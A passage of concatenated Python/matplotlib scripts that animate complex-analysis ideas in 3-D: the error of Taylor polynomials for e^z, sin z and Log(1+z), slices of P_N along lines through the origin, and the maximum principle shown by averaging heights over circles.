    """frames (function, from degree a, to degree b, s, pause counter j (-1 while morphing), pause length)"""
    out = []
    for fi, ns in enumerate(NS):
        out += [(fi, 0, 0, 1.0, j, INTRO) for j in range(INTRO)]
        for a, b in zip(ns, ns[1:]):
            L = TOUR if b in TOURS[fi] else SHORT
            out += [(fi, a, b, ease(j / (MORPH - 1)), -1, 0) for j in range(MORPH)]
            out += [(fi, b, b, 1.0, j, L) for j in range(L)]
    return out


SCHED = sched()


def worst(fi, N, pts):
    """the point of pts where |f - P_N| is largest"""
    e = np.abs(FUNS[fi][1](pts) - P(FUNS[fi][2], N, pts))
    return pts.flat[np.argmax(e)]


def Q(fi, a, b, s, z):
    """the homotopy (1-s) P_a + s P_b"""
    c = FUNS[fi][2]
    return (1 - s) * P(c, a, z) + s * P(c, b, z)


def setup3d(ax, lab):
    ax.set_axis_off(); ax.set_proj_type("persp", focal_length=0.3)
    try:
        ax.set_box_aspect((1, 1, 0.75), zoom=1.1)
    except TypeError:                              # older matplotlib
        ax.set_box_aspect((1, 1, 0.75))
    ax.text2D(0.5, 0.97, lab, transform=ax.transAxes, ha="center", fontsize=13)


ERR = {}


def errtext(fi, N):
    if (fi, N) not in ERR:
        name, f, c, A, R, _ = FUNS[fi]
        z = A * GF; e = np.abs(f(z) - P(c, N, z))
        s = r"$\max|f-P_{%d}|$ on the square: $%.1e$" % (N, e.max())
        if R < np.inf:
            s += r",   on $|z|\leq0.8$: $%.1e$" % e[np.abs(z) <= 0.8].max()
        ERR[fi, N] = s
    return ERR[fi, N]


live = []


def clear():
    while live:
        live.pop().remove()

fig = plt.figure(figsize=(11.4, 5.9))
title = fig.text(0.5, 0.935, "", ha="center", fontsize=13.5)
sub = fig.text(0.5, 0.88, "", ha="center", fontsize=12, color="0.3")
num = fig.text(0.5, 0.03, "", ha="center", fontsize=12)
term = fig.text(0.5, 0.075, "", ha="center", fontsize=12.5, color=PCOL)
bigN = fig.text(0.02, 0.03, "", fontsize=22)
AX = [fig.add_axes([-0.01, 0.1, 0.51, 0.76], projection="3d"), fig.add_axes([0.5, 0.1, 0.51, 0.76], projection="3d")]
cur, base, LIM0 = [None], [], {}


def floor(ax, A, R, zl):
    """the square and, for a finite radius, the circle |z| = R, drawn on the floor of the box"""
    base.extend(ax.plot(A * np.array([-1, 1, 1, -1, -1]), A * np.array([-1, -1, 1, 1, -1]), zl[0], color="0.6", lw=0.8))
    if R < np.inf:
        base.extend(ax.plot(R * CIRC.real, R * CIRC.imag, zl[0], color="red", lw=1.6, ls="--"))


def show(fi, surf=True, alpha=0.45, zl=None):
    """change to function fi: limits, floor and (if surf) the surfaces u, v"""
    while base:
        base.pop().remove()
    name, f, c, A, R, zl0 = FUNS[fi]; z = A * G; w = f(z); zl = zl or zl0
    for ax, W in zip(AX, (w.real, w.imag)):
        LIM0[ax] = [(-A, A), (-A, A), zl]; floor(ax, A, R, zl)
        if surf:
            base.append(ax.plot_surface(z.real, z.imag, W, color=CCOL, alpha=alpha, lw=0, shade=True))
    cur[0] = fi


SUB = [r"$e^{z}$ is entire, $R=\infty$ (Proposition 24.4): the polynomials approach $f$ on the whole square",
       r"$\sin z$ is entire, $R=\infty$; only odd powers occur ($a_{2m}=0$), so $N$ runs $0,1,3,5,\dots$",
       r"$\mathrm{Log}(1+z)$, $R=1$ (eq. (24.7)): convergence inside $|z|=1$ (red, on the floor); "
       r"the corners of the square lie outside"]


def camera(k, tg):
    """still during a morph; in a long pause turn round and zoom in on tg (a target (x, y, z) per panel)"""
    fi, a, b, s, j, L = SCHED[k]
    u = j / (L - 1) if L == TOUR else 0.0
    w = np.sin(np.pi * u) ** 2
    for ax, t in zip(AX, tg):
        for (lo, hi), st, c in zip(LIM0[ax], (ax.set_xlim, ax.set_ylim, ax.set_zlim), t):
            m, h = (1 - 0.6 * w) * (lo + hi) / 2 + 0.6 * w * c, (hi - lo) / 2 / (1 + 0.9 * w)
            st(m - h, m + h)
        ax.view_init(elev=24, azim=-60 + 360 * (u - np.sin(2 * np.pi * u) / (2 * np.pi)))   # one full turn, eased


def gap(zs, lo, hi, zl):
    """red segments at zs from lo to hi in each panel (lo, hi complex: real part left, imaginary part right)"""
    for ax, g in zip(AX, (np.real, np.imag)):
        live.extend(ax.plot([zs.real] * 2, [zs.imag] * 2, np.clip([g(lo), g(hi)], *zl), color="red", lw=3, zorder=10))
    return [(zs.real, zs.imag, float(np.clip((g(lo) + g(hi)) / 2, *zl))) for g in (np.real, np.imag)]


def labels(fi, a, b, s, j, L, zs=0, extra=""):
    """the degree (pulses when a new one is reached), the term being added, the error (only in pauses)"""
    c = FUNS[fi][2]
    if j < 0:
        bigN.set_text(r"$N=%d\to%d$" % (a, b)); bigN.set_color("0.5"); bigN.set_fontsize(22)
        num.set_color("0.6"); num.set_text(errtext(fi, a) + extra)
    else:
        bigN.set_text(r"$N=%d$" % b); bigN.set_color(PCOL if j < 5 else "k"); bigN.set_fontsize(30 if j < 5 else 24)
        num.set_color("k"); num.set_text(errtext(fi, b) + extra)
    if L == TOUR:
        term.set_text(r"a closer look where $|f-P_{%d}|$ is largest: $z=%.2f%+.2fi$ (red: the gap)" % (b, zs.real, zs.imag))
    elif a == b:
        term.set_text(r"$P_0=f(0)=%.4g$" % c[0] if b == 0 else r"added $a_{%d}z^{%d}$" % (b, b))
    else:
        term.set_text(r"adding $a_{%d}z^{%d}$,   $a_{%d}=\frac{f^{(%d)}(0)}{%d!}=%.4g$" % (b, b, b, b, b, c[b])
                      + (r"   ($a_{%d}=0$)" % (b - 1) if b - a > 1 else ""))
    sub.set_text(SUB[fi])


for ax, lab in zip(AX, (r"$\mathrm{Re}\,(f-P_N)=u-\mathrm{Re}\,P_N$", r"$\mathrm{Im}\,(f-P_N)=v-\mathrm{Im}\,P_N$")):
    setup3d(ax, lab)
ZL = (-1, 1)


def frame(k):
    fi, a, b, s, j, L = SCHED[k]
    if fi != cur[0]:
        show(fi, surf=False, zl=ZL)
        for ax in AX:
            base.extend(ax.plot(*[FUNS[fi][3] * np.array(v) for v in ([-1, 1, 1, -1, -1], [-1, -1, 1, 1, -1])], 0,
                                color="0.4", lw=0.8))
    clear()
    name, f, c, A, R, _ = FUNS[fi]; z = A * G; e = f(z) - Q(fi, a, b, s, z)
    for ax, W in zip(AX, (e.real, e.imag)):
        live.append(ax.plot_surface(z.real, z.imag, np.clip(W, *ZL), cmap="coolwarm", vmin=-1, vmax=1, lw=0.2,
                                    edgecolor="0.3", rstride=1, cstride=1))
    zs = worst(fi, b, z) if L == TOUR else 0j
    camera(k, gap(zs, 0, f(zs) - P(c, b, zs), ZL) if L == TOUR else [(0, 0, 0)] * 2)
    title.set_text(r"The error $f-P_N$ for $f(z)=%s$, $P_N$ its Taylor polynomials about $z_0=0$" % name)
    labels(fi, a, b, s, j, L, zs, r"   (heights cut off at $\pm1$)")

if "play" in globals():     # provided by the PyFig reader or by the JupyterLite link
    play(fig, frame, frames=len(SCHED), interval=55)
else:                       # plain Python: the poster
    plt.rcParams["pdf.fonttype"] = 42
    frame(538)
    fig.savefig(__file__.rsplit("/", 1)[-1].replace(".py", "_poster.pdf"))



"""Taylor polynomials in 3-D (Theorem 24.1), version 3: slices.
Left the surface u = Re f, right v = Im f, over a square about z0 = 0 (teal, translucent), cut along four lines
through z0 (angles 0, 45, 90, 135 degrees). Black: the slices of the surface. Coloured: the slices of Re P_N and
Im P_N, N = 0, 1, 2, .... Along the line z = t e^{i theta}, Re P_N = sum_k Re(a_k e^{ik theta}) t^k is the real
Taylor polynomial of degree N of t -> Re f(t e^{i theta}) at t = 0, and the same for Im. Three functions in turn:
e^z, sin z (R = infinity) and Log(1+z) (R = 1): its diagonal lines leave the circle |z| = 1 and there the slices
of P_N do not settle.
PyFig convention: the script defines fig and frame(k), then calls play(...).
"""
# Shared part of the 3-D Taylor-polynomial animations (make_taylorS.py pastes it into each script).
# u = Re f and v = Im f as surfaces over a square about z0 = 0, and the Taylor polynomials P_N (Theorem 24.1).
import numpy as np
import matplotlib
matplotlib.use("Agg")
import matplotlib.pyplot as plt

plt.rcParams.update({"mathtext.fontset": "cm", "font.family": "serif", "font.size": 12})
CCOL, PCOL = "#1f6f78", "#c96a00"
K = np.arange(21.0)
FAC = np.cumprod(np.r_[1, K[1:]])
# name, f, Taylor coefficients f^(k)(0)/k! (Prop. 24.4), half-width A of the square, radius R, vertical range
FUNS = [(r"e^{z}", np.exp, 1 / FAC, 1.5, np.inf, (-4.6, 4.6)),
        (r"\sin z", np.sin, np.where(K % 2 == 1, (-1.0) ** ((K - 1) // 2), 0) / FAC, 1.5, np.inf, (-2.5, 2.5)),
        (r"\mathrm{Log}(1+z)", lambda z: np.log(1 + z), np.r_[0, (-1.0) ** K[:20] / K[1:]], 0.9, 1.0, (-2.5, 1.6))]
T = np.linspace(-1, 1, 25)
G = T[None, :] + 1j * T[:, None]                   # 25 x 25 mesh of the unit square (scaled by A)
TF = np.linspace(-1, 1, 61)
GF = TF[None, :] + 1j * TF[:, None]                # finer grid for the error numbers
CIRC = np.exp(1j * np.linspace(0, 2 * np.pi, 121))


def P(c, N, z):
    """Taylor polynomial of degree N about 0 with coefficients c (Horner)"""
    r = 0 * z + 0j
    for a in c[N::-1]:
        r = r * z + a
    return r


NS = [list(range(7)), [0, 1, 3, 5, 7], list(range(13))]     # degrees shown (sin: a_k = 0 for even k)
TOURS = [(2, 6), (3, 7), (2, 6, 12)]                         # at these degrees the camera turns and zooms in
MORPH, SHORT, TOUR, INTRO = 9, 6, 42, 8
ease = lambda v: 0.5 - 0.5 * np.cos(np.pi * v)


def sched():
    """frames (function, from degree a, to degree b, s, pause counter j (-1 while morphing), pause length)"""
    out = []
    for fi, ns in enumerate(NS):
        out += [(fi, 0, 0, 1.0, j, INTRO) for j in range(INTRO)]
        for a, b in zip(ns, ns[1:]):
            L = TOUR if b in TOURS[fi] else SHORT
            out += [(fi, a, b, ease(j / (MORPH - 1)), -1, 0) for j in range(MORPH)]
            out += [(fi, b, b, 1.0, j, L) for j in range(L)]
    return out


SCHED = sched()


def worst(fi, N, pts):
    """the point of pts where |f - P_N| is largest"""
    e = np.abs(FUNS[fi][1](pts) - P(FUNS[fi][2], N, pts))
    return pts.flat[np.argmax(e)]


def Q(fi, a, b, s, z):
    """the homotopy (1-s) P_a + s P_b"""
    c = FUNS[fi][2]
    return (1 - s) * P(c, a, z) + s * P(c, b, z)


def setup3d(ax, lab):
    ax.set_axis_off(); ax.set_proj_type("persp", focal_length=0.3)
    try:
        ax.set_box_aspect((1, 1, 0.75), zoom=1.1)
    except TypeError:                              # older matplotlib
        ax.set_box_aspect((1, 1, 0.75))
    ax.text2D(0.5, 0.97, lab, transform=ax.transAxes, ha="center", fontsize=13)


ERR = {}


def errtext(fi, N):
    if (fi, N) not in ERR:
        name, f, c, A, R, _ = FUNS[fi]
        z = A * GF; e = np.abs(f(z) - P(c, N, z))
        s = r"$\max|f-P_{%d}|$ on the square: $%.1e$" % (N, e.max())
        if R < np.inf:
            s += r",   on $|z|\leq0.8$: $%.1e$" % e[np.abs(z) <= 0.8].max()
        ERR[fi, N] = s
    return ERR[fi, N]


live = []


def clear():
    while live:
        live.pop().remove()

fig = plt.figure(figsize=(11.4, 5.9))
title = fig.text(0.5, 0.935, "", ha="center", fontsize=13.5)
sub = fig.text(0.5, 0.88, "", ha="center", fontsize=12, color="0.3")
num = fig.text(0.5, 0.03, "", ha="center", fontsize=12)
term = fig.text(0.5, 0.075, "", ha="center", fontsize=12.5, color=PCOL)
bigN = fig.text(0.02, 0.03, "", fontsize=22)
AX = [fig.add_axes([-0.01, 0.1, 0.51, 0.76], projection="3d"), fig.add_axes([0.5, 0.1, 0.51, 0.76], projection="3d")]
cur, base, LIM0 = [None], [], {}


def floor(ax, A, R, zl):
    """the square and, for a finite radius, the circle |z| = R, drawn on the floor of the box"""
    base.extend(ax.plot(A * np.array([-1, 1, 1, -1, -1]), A * np.array([-1, -1, 1, 1, -1]), zl[0], color="0.6", lw=0.8))
    if R < np.inf:
        base.extend(ax.plot(R * CIRC.real, R * CIRC.imag, zl[0], color="red", lw=1.6, ls="--"))


def show(fi, surf=True, alpha=0.45, zl=None):
    """change to function fi: limits, floor and (if surf) the surfaces u, v"""
    while base:
        base.pop().remove()
    name, f, c, A, R, zl0 = FUNS[fi]; z = A * G; w = f(z); zl = zl or zl0
    for ax, W in zip(AX, (w.real, w.imag)):
        LIM0[ax] = [(-A, A), (-A, A), zl]; floor(ax, A, R, zl)
        if surf:
            base.append(ax.plot_surface(z.real, z.imag, W, color=CCOL, alpha=alpha, lw=0, shade=True))
    cur[0] = fi


SUB = [r"$e^{z}$ is entire, $R=\infty$ (Proposition 24.4): the polynomials approach $f$ on the whole square",
       r"$\sin z$ is entire, $R=\infty$; only odd powers occur ($a_{2m}=0$), so $N$ runs $0,1,3,5,\dots$",
       r"$\mathrm{Log}(1+z)$, $R=1$ (eq. (24.7)): convergence inside $|z|=1$ (red, on the floor); "
       r"the corners of the square lie outside"]


def camera(k, tg):
    """still during a morph; in a long pause turn round and zoom in on tg (a target (x, y, z) per panel)"""
    fi, a, b, s, j, L = SCHED[k]
    u = j / (L - 1) if L == TOUR else 0.0
    w = np.sin(np.pi * u) ** 2
    for ax, t in zip(AX, tg):
        for (lo, hi), st, c in zip(LIM0[ax], (ax.set_xlim, ax.set_ylim, ax.set_zlim), t):
            m, h = (1 - 0.6 * w) * (lo + hi) / 2 + 0.6 * w * c, (hi - lo) / 2 / (1 + 0.9 * w)
            st(m - h, m + h)
        ax.view_init(elev=24, azim=-60 + 360 * (u - np.sin(2 * np.pi * u) / (2 * np.pi)))   # one full turn, eased


def gap(zs, lo, hi, zl):
    """red segments at zs from lo to hi in each panel (lo, hi complex: real part left, imaginary part right)"""
    for ax, g in zip(AX, (np.real, np.imag)):
        live.extend(ax.plot([zs.real] * 2, [zs.imag] * 2, np.clip([g(lo), g(hi)], *zl), color="red", lw=3, zorder=10))
    return [(zs.real, zs.imag, float(np.clip((g(lo) + g(hi)) / 2, *zl))) for g in (np.real, np.imag)]


def labels(fi, a, b, s, j, L, zs=0, extra=""):
    """the degree (pulses when a new one is reached), the term being added, the error (only in pauses)"""
    c = FUNS[fi][2]
    if j < 0:
        bigN.set_text(r"$N=%d\to%d$" % (a, b)); bigN.set_color("0.5"); bigN.set_fontsize(22)
        num.set_color("0.6"); num.set_text(errtext(fi, a) + extra)
    else:
        bigN.set_text(r"$N=%d$" % b); bigN.set_color(PCOL if j < 5 else "k"); bigN.set_fontsize(30 if j < 5 else 24)
        num.set_color("k"); num.set_text(errtext(fi, b) + extra)
    if L == TOUR:
        term.set_text(r"a closer look where $|f-P_{%d}|$ is largest: $z=%.2f%+.2fi$ (red: the gap)" % (b, zs.real, zs.imag))
    elif a == b:
        term.set_text(r"$P_0=f(0)=%.4g$" % c[0] if b == 0 else r"added $a_{%d}z^{%d}$" % (b, b))
    else:
        term.set_text(r"adding $a_{%d}z^{%d}$,   $a_{%d}=\frac{f^{(%d)}(0)}{%d!}=%.4g$" % (b, b, b, b, b, c[b])
                      + (r"   ($a_{%d}=0$)" % (b - 1) if b - a > 1 else ""))
    sub.set_text(SUB[fi])


for ax, lab in zip(AX, (r"$u=\mathrm{Re}\,f$ and slices of $\mathrm{Re}\,P_N$",
                        r"$v=\mathrm{Im}\,f$ and slices of $\mathrm{Im}\,P_N$")):
    setup3d(ax, lab)
ANG = np.pi * np.arange(4) / 4
COLS = ["tab:blue", "tab:green", "tab:purple", "tab:red"]
TL = np.linspace(-1, 1, 81)


def lines(A):
    """points of the four lines through 0, cut off at the square"""
    return [TL * A / max(abs(np.cos(a)), abs(np.sin(a))) * np.exp(1j * a) for a in ANG]


def frame(k):
    fi, a, b, s, j, L = SCHED[k]
    name, f, c, A, R, zl = FUNS[fi]
    if fi != cur[0]:
        show(fi, alpha=0.22)
        for ln, col in zip(lines(A), COLS):
            w = f(ln)
            for ax, W in zip(AX, (w.real, w.imag)):
                base.extend(ax.plot(ln.real, ln.imag, W, color="k", lw=1.6, zorder=5))
                base.extend(ax.plot(ln.real, ln.imag, zl[0], color=col, lw=1, alpha=0.6))
    clear()
    for ln, col in zip(lines(A), COLS):
        p = Q(fi, a, b, s, ln)
        for ax, W in zip(AX, (p.real, p.imag)):
            live.extend(ax.plot(ln.real, ln.imag, np.clip(W, *zl), color=col, lw=2.2, zorder=6))
    zs = worst(fi, b, np.concatenate(lines(A))) if L == TOUR else 0j
    camera(k, gap(zs, f(zs), P(c, b, zs), zl) if L == TOUR else [(0, 0, 0)] * 2)
    title.set_text(r"$f(z)=%s$: on each line $z=te^{i\theta}$ the slice of $P_N$ is the real Taylor"
                   r" polynomial of the slice of $f$" % name)
    labels(fi, a, b, s, j, L, zs)

if "play" in globals():     # provided by the PyFig reader or by the JupyterLite link
    play(fig, frame, frames=len(SCHED), interval=55)
else:                       # plain Python: the poster
    plt.rcParams["pdf.fonttype"] = 42
    frame(538)
    fig.savefig(__file__.rsplit("/", 1)[-1].replace(".py", "_poster.pdf"))



"""The maximum principle for a height u(x,y), version 1: the mountain and the average.
u = exp(-x^2/0.6 - y^2/0.3), a made-up mountain with its top at p = 0 (NOT harmonic: its Laplacian at p is -10).
Left: the surface, a circle of radius r about p drawn on it (orange), its shadow, and the peak height u(p)
(red dotted ring). Right: the height u(p + r e^{i theta}) filled in as theta runs from 0 to 2 pi, with the running
average (1/theta) int_0^theta u (dashed), which ends at the average over the circle. It is below u(p) for
r = 0.8, for r = 0.35, and for every r as the circle shrinks to 0.04 and grows to 0.9: the gap tends to 0
like r^2 but is never 0. A harmonic u equals its average on every circle, so it has no mountain top.
PyFig convention: the script defines fig and frame(k), then calls play(...).
"""
# Shared part of the scalar maximum-principle animations (make_maxmodS.py pastes it into each script).
# A made-up mountain (NOT harmonic) and a harmonic saddle; averages of the height over circles about the centre.
import numpy as np
import matplotlib
matplotlib.use("Agg")
import matplotlib.pyplot as plt

plt.rcParams.update({"mathtext.fontset": "cm", "font.family": "serif", "font.size": 12})
CCOL, PCOL, UP = "#1f6f78", "#c96a00", "tab:green"
NT = 360
TH = np.linspace(0, 2 * np.pi, NT, endpoint=False)
mount = lambda x, y: np.exp(-(x ** 2 / 0.6 + y ** 2 / 0.3))    # made up: Laplacian at 0 is -2/0.6-2/0.3 = -10
harm = lambda x, y: 1 + 0.8 * (x ** 2 - y ** 2)                 # 1 + 0.8 Re(z^2): harmonic (Example 15.3)
MTX = r"$u=e^{-x^2/0.6-y^2/0.3}$: made up, NOT harmonic ($\nabla^2u(0)=-10$)"
HTX = r"$u=1+0.8\,(x^2-y^2)=\mathrm{Re}(1+0.8z^2)$: harmonic"
G = np.linspace(-1.2, 1.2, 25)
GX, GY = np.meshgrid(G, G)
ease = lambda v: 0.5 - 0.5 * np.cos(np.pi * min(max(v, 0.0), 1.0))
live = []


def clear():
    while live:
        live.pop().remove()


def phase(k, PH):
    for name, n in PH:
        if k < n:
            return name, k / max(n - 1, 1)
        k -= n
    return PH[-1][0], 1.0


def heights(u, r):
    """u on the circle of radius r about 0, and the running average (1/theta) int_0^theta u"""
    h = u(r * np.cos(TH), r * np.sin(TH))
    return h, np.cumsum(h) / np.arange(1, NT + 1)


def surf(ax, u, zlo, zhi, cmap="Blues"):
    ax.computed_zorder = False
    s = ax.plot_surface(GX, GY, u(GX, GY), cmap=cmap, alpha=0.5, lw=0.25, edgecolor=(0.3, 0.3, 0.3, 0.2),
                        rstride=1, cstride=1, zorder=1, vmin=zlo, vmax=zhi + 0.4 * (zhi - zlo))
    ax.set_xlim(-1.2, 1.2); ax.set_ylim(-1.2, 1.2); ax.set_zlim(zlo, zhi); ax.set_box_aspect((1, 1, 0.75))
    ax.set_axis_off()                                        # no panes or ticks: much faster to draw
    q = np.array([-1.2, 1.2, 1.2, -1.2, -1.2])
    s.base = ax.plot(q, np.roll(q, 1), zlo + 0 * q, color="0.6", lw=0.8)[0]   # the base square, |x|,|y| <= 1.2
    return s


def ring(ax, u, r, m, zlo, c):
    """the circle of radius r about 0 ON the surface (first m points), its shadow, and the ring at height c"""
    t = np.r_[TH, 0.0][:m + 1]; x, y = r * np.cos(t), r * np.sin(t)
    a = np.radians(ax.azim); fr = x * np.cos(a) + y * np.sin(a) >= 0     # the half facing the viewer
    z = u(x, y); zf, zb = np.where(fr, z, np.nan), np.where(fr, np.nan, z)
    live.extend(ax.plot(x, y, zf, color=PCOL, lw=2.6, zorder=6))            # front: solid
    live.extend(ax.plot(x, y, zb, color=PCOL, lw=1.3, ls="--", alpha=0.55, zorder=3))   # behind the hill: faint
    live.extend(ax.plot(x, y, zlo + 0 * x, color=PCOL, lw=1.2, ls="--", alpha=0.7, zorder=2))
    tt = np.r_[TH, 0.0]
    live.extend(ax.plot(r * np.cos(tt), r * np.sin(tt), c + 0 * tt, color="red", lw=1.2, ls=":", zorder=5))
    if m <= NT:
        live.extend(ax.plot([x[-1]] * 2, [y[-1]] * 2, [zlo, u(x[-1], y[-1])], color="0.3", lw=1, zorder=5))
    live.append(ax.scatter([0], [0], [c], s=30, color="red", zorder=7, depthshade=False))


def graph(ax, h, run, m, c):
    """heights over theta filled in up to point m, the running average, the centre value c"""
    t = TH[:m]
    live.extend(ax.plot(t, h[:m], color=PCOL, lw=2))
    live.append(ax.fill_between(t, 0 * t + ax.get_ylim()[0], h[:m], color=PCOL, alpha=0.15, lw=0))
    live.extend(ax.plot(t, run[:m], color="k", lw=1.6, ls="--"))
    live.append(ax.axhline(c, color="red", lw=1.6))


def setup_graph(ax, lo, hi):
    ax.set_xlim(0, 2 * np.pi); ax.set_ylim(lo, hi); ax.tick_params(labelsize=9)
    ax.set_xticks([0, np.pi / 2, np.pi, 3 * np.pi / 2, 2 * np.pi])
    ax.set_xticklabels(["$0$", r"$\pi/2$", r"$\pi$", r"$3\pi/2$", r"$2\pi$"])
    ax.set_xlabel(r"$\theta$")

fig = plt.figure(figsize=(11.4, 5.9))
title = fig.text(0.5, 0.953, "", ha="center", fontsize=13.5)
sub = fig.text(0.5, 0.875, "", ha="center", fontsize=12, color="0.3")

ax3 = fig.add_axes([-0.03, 0.06, 0.54, 0.8], projection="3d"); surf(ax3, mount, 0, 1.15)
fig.text(0.24, 0.03, MTX, ha="center", fontsize=11, color="tab:red")
axr = fig.add_axes([0.57, 0.13, 0.4, 0.5]); setup_graph(axr, 0, 1.1)
axr.set_ylabel(r"height $u(p+re^{i\theta})$")
v1 = fig.text(0.57, 0.80, r"$u(p)=%.3f$  (red: the peak)" % mount(0, 0), fontsize=12, color="red")
v2 = fig.text(0.57, 0.745, "", fontsize=12); v3 = fig.text(0.57, 0.69, "", fontsize=12)
PH = [("run1", 64), ("hold1", 12), ("run2", 46), ("shrink", 50), ("grow", 26)]
SCHED = list(range(sum(n for _, n in PH)))
TT = {"run1": ("Walk round a circle about the peak $p$ and average the height",
               r"right: the height at $p+re^{i\theta}$ as $\theta$ runs, and the running average $\frac{1}{\theta}"
               r"\!\int_0^\theta u\,d\theta$ (dashed)"),
      "hold1": ("The average height round the circle is below the peak",
                "every point of the circle is lower than the peak $u(p)$, so their average is lower too"),
      "run2": ("A smaller circle: its average is below the peak too", "the running average ends below the red line"),
      "shrink": ("However small the circle, its average is below the peak",
                 "the gap $u(p)-$average shrinks like $r^2$ as $r\\to0$, but it is never $0$"),
      "grow": ("A harmonic $u$ equals its average on every circle: it cannot look like this",
               "Exercises 21.4 and 15.8: harmonic $u$ has no mountain top, its maximum is on the boundary")}


def state(k):
    name, p = phase(k, PH)
    if name == "run1":
        return name, 0.8, max(1, int(p * NT))
    if name == "hold1":
        return name, 0.8, NT
    if name == "run2":
        return name, 0.35, max(1, int(p * NT))
    if name == "shrink":
        return name, 0.35 * (0.04 / 0.35) ** ease(p), NT
    return name, 0.04 * (0.9 / 0.04) ** ease(p), NT


def frame(k):
    clear()
    name, r, m = state(k)
    ax3.view_init(26, -62 + 30 * k / len(SCHED))
    ring(ax3, mount, r, m, 0, mount(0, 0))
    h, run = heights(mount, r)
    graph(axr, h, run, m, mount(0, 0))
    if m < NT:
        v2.set_text(r"running average so far $=%.4f$  (dashed)" % run[m - 1])
        v3.set_text(r"$r=%.2f$" % r)
    else:
        v2.set_text(r"average over the circle $=%.5f$  (dashed)" % run[-1])
        v3.set_text(r"$u(p)-$average$=%+.5f$;   $r=%.3f$" % (mount(0, 0) - run[-1], r))
    title.set_text(TT[name][0]); sub.set_text(TT[name][1])

if "play" in globals():     # provided by the PyFig reader or by the JupyterLite link
    play(fig, frame, frames=len(SCHED), interval=60)
else:                       # plain Python: the poster
    plt.rcParams["pdf.fonttype"] = 42
    frame(70)
    fig.savefig(__file__.rsplit("/", 1)[-1].replace(".py", "_poster.pdf"))



"""The maximum principle for a height u(x,y), version 2: a mountain beside a harmonic saddle.
Left: the made-up mountain u = exp(-x^2/0.6 - y^2/0.3), NOT harmonic, top at p = 0. Right: the harmonic
u = 1 + 0.8(x^2 - y^2) = Re(1 + 0.8 z^2) (Example 15.3), a saddle, value 1 at the centre 0. For each, a circle
of radius r about the centre on the surface, and below, the heights over theta with the running average
(dashed). The mountain's average is below its peak for every r; the harmonic average equals the centre value
exactly, for every r (the mean value property, Exercise 21.4). So a harmonic u has no mountain top.
PyFig convention: the script defines fig and frame(k), then calls play(...).
"""
# Shared part of the scalar maximum-principle animations (make_maxmodS.py pastes it into each script).
# A made-up mountain (NOT harmonic) and a harmonic saddle; averages of the height over circles about the centre.
import numpy as np
import matplotlib
matplotlib.use("Agg")
import matplotlib.pyplot as plt

plt.rcParams.update({"mathtext.fontset": "cm", "font.family": "serif", "font.size": 12})
CCOL, PCOL, UP = "#1f6f78", "#c96a00", "tab:green"
NT = 360
TH = np.linspace(0, 2 * np.pi, NT, endpoint=False)
mount = lambda x, y: np.exp(-(x ** 2 / 0.6 + y ** 2 / 0.3))    # made up: Laplacian at 0 is -2/0.6-2/0.3 = -10
harm = lambda x, y: 1 + 0.8 * (x ** 2 - y ** 2)                 # 1 + 0.8 Re(z^2): harmonic (Example 15.3)
MTX = r"$u=e^{-x^2/0.6-y^2/0.3}$: made up, NOT harmonic ($\nabla^2u(0)=-10$)"
HTX = r"$u=1+0.8\,(x^2-y^2)=\mathrm{Re}(1+0.8z^2)$: harmonic"
G = np.linspace(-1.2, 1.2, 25)
GX, GY = np.meshgrid(G, G)
ease = lambda v: 0.5 - 0.5 * np.cos(np.pi * min(max(v, 0.0), 1.0))
live = []


def clear():
    while live:
        live.pop().remove()


def phase(k, PH):
    for name, n in PH:
        if k < n:
            return name, k / max(n - 1, 1)
        k -= n
    return PH[-1][0], 1.0


def heights(u, r):
    """u on the circle of radius r about 0, and the running average (1/theta) int_0^theta u"""
    h = u(r * np.cos(TH), r * np.sin(TH))
    return h, np.cumsum(h) / np.arange(1, NT + 1)


def surf(ax, u, zlo, zhi, cmap="Blues"):
    ax.computed_zorder = False
    s = ax.plot_surface(GX, GY, u(GX, GY), cmap=cmap, alpha=0.5, lw=0.25, edgecolor=(0.3, 0.3, 0.3, 0.2),
                        rstride=1, cstride=1, zorder=1, vmin=zlo, vmax=zhi + 0.4 * (zhi - zlo))
    ax.set_xlim(-1.2, 1.2); ax.set_ylim(-1.2, 1.2); ax.set_zlim(zlo, zhi); ax.set_box_aspect((1, 1, 0.75))
    ax.set_axis_off()                                        # no panes or ticks: much faster to draw
    q = np.array([-1.2, 1.2, 1.2, -1.2, -1.2])
    s.base = ax.plot(q, np.roll(q, 1), zlo + 0 * q, color="0.6", lw=0.8)[0]   # the base square, |x|,|y| <= 1.2
    return s


def ring(ax, u, r, m, zlo, c):
    """the circle of radius r about 0 ON the surface (first m points), its shadow, and the ring at height c"""
    t = np.r_[TH, 0.0][:m + 1]; x, y = r * np.cos(t), r * np.sin(t)
    a = np.radians(ax.azim); fr = x * np.cos(a) + y * np.sin(a) >= 0     # the half facing the viewer
    z = u(x, y); zf, zb = np.where(fr, z, np.nan), np.where(fr, np.nan, z)
    live.extend(ax.plot(x, y, zf, color=PCOL, lw=2.6, zorder=6))            # front: solid
    live.extend(ax.plot(x, y, zb, color=PCOL, lw=1.3, ls="--", alpha=0.55, zorder=3))   # behind the hill: faint
    live.extend(ax.plot(x, y, zlo + 0 * x, color=PCOL, lw=1.2, ls="--", alpha=0.7, zorder=2))
    tt = np.r_[TH, 0.0]
    live.extend(ax.plot(r * np.cos(tt), r * np.sin(tt), c + 0 * tt, color="red", lw=1.2, ls=":", zorder=5))
    if m <= NT:
        live.extend(ax.plot([x[-1]] * 2, [y[-1]] * 2, [zlo, u(x[-1], y[-1])], color="0.3", lw=1, zorder=5))
    live.append(ax.scatter([0], [0], [c], s=30, color="red", zorder=7, depthshade=False))


def graph(ax, h, run, m, c):
    """heights over theta filled in up to point m, the running average, the centre value c"""
    t = TH[:m]
    live.extend(ax.plot(t, h[:m], color=PCOL, lw=2))
    live.append(ax.fill_between(t, 0 * t + ax.get_ylim()[0], h[:m], color=PCOL, alpha=0.15, lw=0))
    live.extend(ax.plot(t, run[:m], color="k", lw=1.6, ls="--"))
    live.append(ax.axhline(c, color="red", lw=1.6))


def setup_graph(ax, lo, hi):
    ax.set_xlim(0, 2 * np.pi); ax.set_ylim(lo, hi); ax.tick_params(labelsize=9)
    ax.set_xticks([0, np.pi / 2, np.pi, 3 * np.pi / 2, 2 * np.pi])
    ax.set_xticklabels(["$0$", r"$\pi/2$", r"$\pi$", r"$3\pi/2$", r"$2\pi$"])
    ax.set_xlabel(r"$\theta$")

fig = plt.figure(figsize=(11.4, 5.9))
title = fig.text(0.5, 0.953, "", ha="center", fontsize=13.5)
sub = fig.text(0.5, 0.875, "", ha="center", fontsize=12, color="0.3")

